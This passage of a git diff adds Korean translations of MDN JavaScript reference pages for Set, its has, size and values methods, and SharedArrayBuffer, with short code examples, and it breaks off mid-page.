+<p><strong>참고:</strong> 기술적으로, <code>has()</code>는 <a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness#등가0_같음"><code>sameValueZero</code></a> 알고리즘을 사용해 요소의 존재 여부를 판별합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="has()_사용하기"><code>has()</code> 사용하기</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add('foo');
+
+mySet.has('foo');  // true
+mySet.has('bar');  // false
+
+var set1 = new Set();
+var obj1 = {'key1': 1};
+set1.add(obj1);
+
+set1.has(obj1);        // true
+set1.has({'key1': 1}); // false, 형태만 같은 서로 다른 객체의 참조이기 때문
+set1.add({'key1': 1}); // set1의 요소가 2개로 늘어남
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.has', 'Set.prototype.has')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.has', 'Set.prototype.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.has")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.add()")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/index.html b/files/ko/web/javascript/reference/global_objects/set/index.html
new file mode 100644
index 0000000000..b8086f89bd
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/index.html
@@ -0,0 +1,237 @@
+---
+title: Set
+slug: Web/JavaScript/Reference/Global_Objects/Set
+tags:
+  - ECMAScript 2015
+  - Global Objects
+  - JavaScript
+  - Object
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Set</code></strong> 객체는 자료형에 관계 없이 {{Glossary("Primitive", "원시 값")}}과 객체 참조 모두 유일한 값을 저장할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-constructor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Set([<em>iterable</em>]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd><a href="/ko/docs/Web/JavaScript/Reference/Statements/for...of">반복 가능한 객체</a>가 전달된 경우, 그 요소는 모두 새로운 <code>Set</code>에 추가됩니다. 만약 매개변수를 명시하지 않거나 <code>null</code>을 전달하면, 새로운 <code>Set</code>은 비어 있는 상태가 됩니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 <code>Set</code> 객체.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Set</code> 객체는 값 콜렉션으로, 삽입 순서대로 요소를 순회할 수 있습니다. 하나의 <code>Set</code> 내 값은 한 번만 나타날 수 있습니다. 즉, 어떤 값은 그 <code>Set</code> 콜렉션 내에서 유일합니다.</p>
+
+<h3 id="값_같음">값 같음</h3>
+
+<p><code>Set</code> 내의 값은 유일해야 하기 때문에 값이 같은지 검사를 수행합니다. 이전 ECMAScript 명세에서는 검사 알고리즘이 <code>===</code> 연산자와는 다른 것이었습니다. 특히, <code>+0 === -0</code>이었지만 <code>Set</code>에서는 <code>+0</code>과 <code>-0</code>이 다른 값이었습니다. 그러나 이는 ECMAScript 2015 명세에서 변경되었습니다. {{anch("브라우저 호환성", "브라우저 호환성")}}의 "Key equality for -0 and 0"을 참고하세요.</p>
+
+<p>{{jsxref("NaN")}}과 {{jsxref("undefined")}}도 <code>Set</code>에 저장할 수 있습니다. 원래 <code>NaN !== NaN</code>이지만, <code>Set</code>에서 <code>NaN</code>은 <code>NaN</code>과 같은 것으로 간주됩니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Set.length</code></dt>
+ <dd>값이 0인 속성입니다.</dd>
+ <dt>{{jsxref("Set.@@species", "get Set[@@species]")}}</dt>
+ <dd>파생 객체를 생성하는데 사용하는 생성자 함수입니다.</dd>
+ <dt>{{jsxref("Set.prototype")}}</dt>
+ <dd><code>Set</code> 생성자의 프로토타입을 나타냅니다. 모든  <code>Set</code> 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Set_인스턴스"><code>Set</code> 인스턴스</h2>
+
+<p>모든 <code>Set</code> 인스턴스는 {{jsxref("Set.prototype")}}을 상속받습니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Set/prototype','속성')}}</p>
+
+<h3 id="메서드">메서드</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Set/prototype','메서드')}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Set_객체_사용"><code>Set</code> 객체 사용</h3>
+
+<pre class="brush: js">var mySet = new Set();
+
+mySet.add(1); // Set { 1 }
+mySet.add(5); // Set { 1, 5 }
+mySet.add(5); // Set { 1, 5 }
+mySet.add('some text'); // Set { 1, 5, 'some text' }
+var o = {a: 1, b: 2};
+mySet.add(o);
+
+mySet.add({a: 1, b: 2}); // o와 다른 객체를 참조하므로 괜찮음
+
+mySet.has(1); // true
+mySet.has(3); // false, 3은 set에 추가되지 않았음
+mySet.has(5);              // true
+mySet.has(Math.sqrt(25));  // true
+mySet.has('Some Text'.toLowerCase()); // true
+mySet.has(o); // true
+
+mySet.size; // 5
+
+mySet.delete(5); // set에서 5를 제거함
+mySet.has(5);    // false, 5가 제거되었음
+
+mySet.size; // 4, 방금 값을 하나 제거했음
+console.log(mySet);// Set {1, "some text", Object {a: 1, b: 2}, Object {a: 1, b: 2}}
+</pre>
+
+<h3 id="Set_반복">Set 반복</h3>
+
+<pre class="brush: js">// set 내 항목에 대해 반복
+// 순서대로 항목을 (콘솔에) 기록: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet) console.log(item);
+
+// 순서대로 항목을 기록: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet.keys()) console.log(item);
+
+// 순서대로 항목을 기록: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet.values()) console.log(item);
+
+// 순서대로 항목을 기록: 1, "some text", {"a": 1, "b": 2}
+// (여기서 key와 value는 같음)
+for (let [key, value] of mySet.entries()) console.log(key);
+
+// Set 객체를 배열 객체로 변환 (<a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/from">Array.from</a>으로)
+var myArr = Array.from(mySet); // [1, "some text", {"a": 1, "b": 2}]
+
+// 다음도 HTML 문서에서 실행하는 경우 작동함
+mySet.add(document.body);
+mySet.has(document.querySelector('body')); // true
+
+// Set과 Array 사이 변환
+mySet2 = new Set([1, 2, 3, 4]);
+mySet2.size; // 4
+[...mySet2]; // [1, 2, 3, 4]
+
+// 교집합은 다음으로 흉내(simulate)낼 수 있음
+var intersection = new Set([...set1].filter(x =&gt; set2.has(x)));
+
+// 차집합은 다음으로 흉내낼 수 있음
+var difference = new Set([...set1].filter(x =&gt; !set2.has(x)));
+
+// forEach로 set 항목 반복
+mySet.forEach(function(value) {
+  console.log(value);
+});
+
+// 1
+// 2
+// 3
+// 4</pre>
+
+<h3 id="기본_집합_연산_구현">기본 집합 연산 구현</h3>
+
+<pre class="brush: js">Set.prototype.isSuperset = function(subset) {
+    for (var elem of subset) {
+        if (!this.has(elem)) {
+            return false;
+        }
+    }
+    return true;
+}
+
+Set.prototype.union = function(setB) {
+    var union = new Set(this);
+    for (var elem of setB) {
+        union.add(elem);
+    }
+    return union;
+}
+
+Set.prototype.intersection = function(setB) {
+    var intersection = new Set();
+    for (var elem of setB) {
+        if (this.has(elem)) {
+            intersection.add(elem);
+        }
+    }
+    return intersection;
+}
+
+Set.prototype.difference = function(setB) {
+    var difference = new Set(this);
+    for (var elem of setB) {
+        difference.delete(elem);
+    }
+    return difference;
+}
+
+//Examples
+var setA = new Set([1, 2, 3, 4]),
+    setB = new Set([2, 3]),
+    setC = new Set([3, 4, 5, 6]);
+
+setA.isSuperset(setB); // =&gt; true
+setA.union(setC); // =&gt; Set [1, 2, 3, 4, 5, 6]
+setA.intersection(setC); // =&gt; Set [3, 4]
+setA.difference(setC); // =&gt; Set [1, 2]</pre>
+
+<h3 id="Array_객체와의_관계"><code>Array</code> 객체와의 관계</h3>
+
+<pre class="brush: js">var myArray = ['value1', 'value2', 'value3'];
+
+// Array를 Set으로 변환하기 위해서는 정규 Set 생성자 사용
+var mySet = new Set(myArray);
+
+mySet.has('value1'); // true 반환
+
+// set을 Array로 변환하기 위해 전개 연산자 사용함.
+console.log([...mySet]); // myArray와 정확히 같은 배열을 보여줌</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set-objects', 'Set')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/prototype/index.html b/files/ko/web/javascript/reference/global_objects/set/prototype/index.html
new file mode 100644
index 0000000000..ca6e568bed
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/prototype/index.html
@@ -0,0 +1,86 @@
+---
+title: Set.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Set/prototype
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Property
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Set.prototype</strong></code> 속성은 {{jsxref("Set")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Set")}} 인스턴스는 {{jsxref("Set.prototype")}}에서 상속합니다. 모든 <code>Set</code> 인스턴스에 속성 또는 메서드를 추가하기 위해 생성자의 프로토타입 객체를 사용할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Set.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 만든 함수를 반환합니다. 이는 기본으로 {{jsxref("Set")}} 함수입니다.</dd>
+ <dt>{{jsxref("Set.prototype.size")}}</dt>
+ <dd><code>Set</code> 객체 내 값의 개수를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Set.add", "Set.prototype.add(value)")}}</dt>
+ <dd><code>Set</code> 객체에 주어진 값을 갖는 새로운 요소를 추가합니다. <code>Set</code> 객체를 반환합니다.</dd>
+ <dt>{{jsxref("Set.prototype.clear()")}}</dt>
+ <dd><code>Set</code> 객체에서 모든 요소를 제거합니다.</dd>
+ <dt>{{jsxref("Set.delete", "Set.prototype.delete(value)")}}</dt>
+ <dd><code>value</code>와 관련된 요소를 제거하고 <code>Set.prototype.has(value)</code>가 이전에 반환했던 값을 반환합니다. <code>Set.prototype.has(value)</code>는 그 뒤에 <code>false</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Set.prototype.entries()")}}</dt>
+ <dd>삽입 순으로 <code>Set</code> 객체 내 각 값에 대한 <strong><code>[value, value]</code> 배열</strong>을 포함하는 새로운 <code>Iterator</code> 객체를 반환합니다. 이는 <code>Map</code> 객체와 비슷하게 유지되므로 여기서 각 항목은 그 <em>key</em>와 <em>value</em>에 대해 같은 값을 갖습니다.</dd>
+ <dt>{{jsxref("Set.forEach", "Set.prototype.forEach(callbackFn[, thisArg])")}}</dt>
+ <dd>삽입 순으로 <code>Set</code> 객체 내에 있는 각 값에 대해 한 번 <code>callbackFn</code>을 호출합니다. <code>thisArg</code> 매개변수가 <code>forEach</code>에 제공된 경우, 이는 각 콜백에 대해 <code>this</code> 값으로 사용됩니다.</dd>
+ <dt>{{jsxref("Set.has", "Set.prototype.has(value)")}}</dt>
+ <dd><code>Set</code> 객체 내 주어진 값을 갖는 요소가 있는지를 주장하는(asserting, 나타내는) boolean을 반환합니다.</dd>
+ <dt>{{jsxref("Set.prototype.keys()")}}</dt>
+ <dd><strong><code>values()</code></strong> 함수와 같은 함수로 삽입 순으로 <code>Set</code> 객체 내 각 요소에 대한 값을 포함하는 새로운 <code>Iterator</code> 객체를 반환합니다.</dd>
+ <dt>{{jsxref("Set.prototype.values()")}}</dt>
+ <dd>삽입 순으로 <code>Set</code> 객체 내 각 요소에 대한 <strong>값</strong>을 포함하는 새로운 <code>Iterator</code> 객체를 반환합니다.</dd>
+ <dt>{{jsxref("Set.prototype.@@iterator()", "Set.prototype[@@iterator]()")}}</dt>
+ <dd>삽입 순으로 <code>Set</code> 객체 내 각 요소에 대한 <strong>값</strong>을 포함하는 새로운 <code>Iterator</code> 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-set.prototype', 'Set.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype', 'Set.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.prototype")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/size/index.html b/files/ko/web/javascript/reference/global_objects/set/size/index.html
new file mode 100644
index 0000000000..2f437bed4a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/size/index.html
@@ -0,0 +1,69 @@
+---
+title: Set.prototype.size
+slug: Web/JavaScript/Reference/Global_Objects/Set/size
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/size
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>size</strong></code> 접근자 속성은 {{jsxref("Set")}} 객체의 원소 수를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-size.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p><code>size</code>의 값은 <code>Set</code> 객체가 가진 원소의 수를 나타내는 정수입니다. <code>size</code> 값의 설정자는 {{jsxref("undefined")}}입니다. 즉 값을 직접 바꿀 수는 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="size_사용하기"><code>size</code> 사용하기</h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add(1);
+mySet.add(5);
+mySet.add('some text')
+
+mySet.size; // 3
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-set.prototype.size', 'Set.prototype.size')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-set.prototype.size', 'Set.prototype.size')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.size")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/values/index.html b/files/ko/web/javascript/reference/global_objects/set/values/index.html
new file mode 100644
index 0000000000..37e019e3da
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/values/index.html
@@ -0,0 +1,72 @@
+---
+title: Set.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/Set/values
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/values
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>values()</strong></code> method는 <code>Set<font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;"> 객체에 요소가 삽입된 순서대로 각 요소의 값을 순환할 수 있는 </span></font></code><code>Iterator</code> 객체를 반환합니다.</p>
+
+<p>The <strong><code>keys()</code></strong> method is an alias for this method (for similarity with {{jsxref("Map")}} objects); it behaves exactly the same and returns <strong>values</strong> of <code>Set</code> elements.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-values.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.values();
+</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A new <code><strong>Iterator</strong></code> object containing the values for each element in the given <code>Set</code>, in insertion order.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_values()">Using <code>values()</code></h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add('foo');
+mySet.add('bar');
+mySet.add('baz');
+
+var setIter = mySet.values();
+
+console.log(setIter.next().value); // "foo"
+console.log(setIter.next().value); // "bar"
+console.log(setIter.next().value); // "baz"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.values")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.entries()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/index.html
new file mode 100644
index 0000000000..9919adb447
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/index.html
@@ -0,0 +1,137 @@
+---
+title: SharedArrayBuffer
+slug: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
+tags:
+  - Constructor
+  - JavaScript
+  - Shared Memory
+  - SharedArrayBuffer
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>SharedArrayBuffer</code></strong> 객체는 제네릭, 고정된 길이의 원시 바이너리 데이터 버퍼를 표현하는데 사용됩니다. {{jsxref("ArrayBuffer")}} 객체와 유사하지만, 공유된 메모리상의 뷰를 생성하는데 사용될 수 있습니다. <code>ArrayBuffer</code> 와는 달리, <code>SharedArrayBuffer</code> 는 분리될 수 없습니다.</p>
+
+<div class="blockIndicator note">
+<p><a href="https://meltdownattack.com/">Spectre</a> 에대한 응답으로 2018년 1월 5일에 <code>SharedArrayBuffer</code> 는 모든 주요 브라우저에서 기본적으로 비활성화되어있음을 참고하세요. Chrome 은 사이트 격리 기능을 사용하여 Spectre 스타일 취약점으로부터 보호될 수 있는 플랫폼상의 <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=821270">v67 에서 이를 다시 활성화</a>하였습니다.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/js/sharedarraybuffer-constructor.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new SharedArrayBuffer(length)
+</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>length</code></dt>
+ <dd>생성할 array buffer 의 바이트 크기.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>크기가 지정된 새로운 <code>SharedArrayBuffer</code> 객체입니다. 컨텐츠는 0 으로 초기화됩니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="할당_및_메모리_공유">할당 및 메모리 공유</h3>
+
+<p>{{jsxref("SharedArrayBuffer")}} 객체를 사용해 메모리를 하나의 agent(agent 는 웹 페이지의 메인 프로그램 또는 웹 워커 중 하나입니다)와 다른 agent 에서 공유하기 위해, <code><a href="https://developer.mozilla.org/ko/docs/Web/API/Worker/postMessage">postMessage</a></code> 와 <a href="https://developer.mozilla.org/ko/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">structured cloning</a> 이 사용됩니다.</p>
+
+<p>Structured clone 알고리즘은 <code>SharedArrayBuffer</code> 와 <code>SharedArrayBuffer</code> 상에 맵핑된 <code>TypedArray</code> 를 받아들입니다. 이 두 경우에서, <code>SharedArrayBuffer</code> 객체는 수신자(receiver)에게 전달되어 수신 agent(예, {{jsxref("ArrayBuffer")}})의 새로운 비공개의 SharedArrayBuffer 객체를 생성합니다. 하지만, 두 <code>SharedArrayBuffer</code> 에 의해 참조되는 공유 데이터 블록은 같은 블록이며, 부수적인 효과로, 하나의 agent 가 다른 agent 에서 보이게 됩니다.</p>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+worker.postMessage(sab);
+</pre>
+
+<h3 id="Atomic_operation_으로_공유_메모리_수정_및_동기화">Atomic operation 으로 공유 메모리 수정 및 동기화</h3>
+
+<p>공유 메모리는 워커나 메인 스레드에서 동시에 수정 및 생성할 수 있습니다. 시스템(CPU, OS, 브라우저)에따라 변경사항이 전체 컨텍스트로 전파될때까지 약간의 시간이 필요합니다. 동기화를 위해선, {{jsxref("Atomics", "atomic", "", 1)}} 연산이 필요합니다.</p>
+
+<h3 id="SharedArrayBuffer_객체를_사용할_수_있는_API"><code>SharedArrayBuffer</code> 객체를 사용할 수 있는 API</h3>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bufferData()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.bufferSubData()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.getBufferSubData()")}}</li>
+</ul>
+
+<h3 id="생성자는_new_연산자를_필요로_함">생성자는 <code>new</code> 연산자를 필요로 함</h3>
+
+<p><code>SharedArrayBuffer</code> 생성자는 생성될 때, {{jsxref("Operators/new", "new")}} 연산자를 필요로 합니다. <code>SharedArrayBuffer</code> 생성자를 new 없이 함수로써 호출하면, {{jsxref("TypeError")}} 를 일으킬 것 입니다.</p>
+
+<pre class="brush: js example-bad">var sab = SharedArrayBuffer(1024);
+// TypeError: calling a builtin SharedArrayBuffer constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var sab = new SharedArrayBuffer(1024);</pre>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>SharedArrayBuffer.length</code></dt>
+ <dd>값이 1인 <code>SharedArrayBuffer</code> 생성자의 length 속성입니다.</dd>
+ <dt>{{jsxref("SharedArrayBuffer.prototype")}}</dt>
+ <dd>모든 <code>SharedArrayBuffer</code> 객체에 프로퍼티 추가를 가능하게 해줍니다.</dd>
+</dl>
+
+<h2 id="SharedArrayBuffer_prototype_객체"><code>SharedArrayBuffer</code> prototype 객체</h2>
+
+<p>모든 <code>SharedArrayBuffer</code> 인스턴스는 {{jsxref("SharedArrayBuffer.prototype")}} 를 상속합니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype','Properties')}}</p>
+
+<h3 id="메소드">메소드</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype','Methods')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-sharedarraybuffer-objects', 'SharedArrayBuffer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ES2017 에서 초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-sharedarraybuffer-objects', 'SharedArrayBuffer')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.SharedArrayBuffer")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="https://github.com/lars-t-hansen/parlib-simple">parlib-simple </a>– 동기화 및 작업 분리 추상화를 제공하는 간단한 라이브러리.</li>
+ <li><a href="https://github.com/tc39/ecmascript_sharedmem/blob/master/TUTORIAL.md">Shared Memory – 간단한 튜토리얼</a></li>
+ <li>
+  <p><a href="https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/">A Taste of JavaScript’s New Parallel Primitives – Mozilla Hacks</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html b/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html
new file mode 100644
index 0000000000..3499bc77ed
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html
@@ -0,0 +1,65 @@
+---
+title: SharedArrayBuffer.prototype
+slug: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype
+tags:
+  - JavaScript
+  - SharedArrayBuffer
+  - TypedArrays
+  - 공유 메모리
+  - 속성
+translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>SharedArrayBuffer.prototype</code></strong> 속성은 {{jsxref("SharedArrayBuffer")}} 객체를위한 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>SharedArrayBuffer</code> 인스턴스는 <code>SharedArrayBuffer.prototype</code> 을 상속합니다. 모든 생성자와 마찬가지로, 생성자의 프로토타입 객체를 변경하여 모든 <code>SharedArrayBuffer</code> 인스턴스에 변화를 줄 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>SharedArrayBuffer.prototype.constructor</dt>
+ <dd>객체의 프로토타입을 생성하는 함수를 지정합니다. 초기 값은 <code>SharedArrayBuffer</code> 생성자에 내장된 표준입니다.</dd>
+ <dt>{{jsxref("SharedArrayBuffer.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>배열의 바이트 크기입니다. 배열이 생성되고 수정이 불가할 때 지정됩니다. <strong>읽기 전용입니다.</strong></dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{jsxref("SharedArrayBuffer.slice", "SharedArrayBuffer.prototype.slice(begin, end)")}}</dt>
+ <dd><code>begin</code> 부터 <code>end</code> 까지의 모든 것을 포함하는 <code>SharedArrayBuffer</code> 바이트의 복사본을 컨텐츠로 갖는 새로운 <code>SharedArrayBuffer</code> 를 반환합니다. <code>begin</code> 또는 <code>end</code> 가 음수인 경우, 인덱스는 배열의 끝에서부터이고 반대인 경우 시작부터입니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-sharedarraybuffer.prototype', 'SharedArrayBuffer.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ES2017 에서 초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
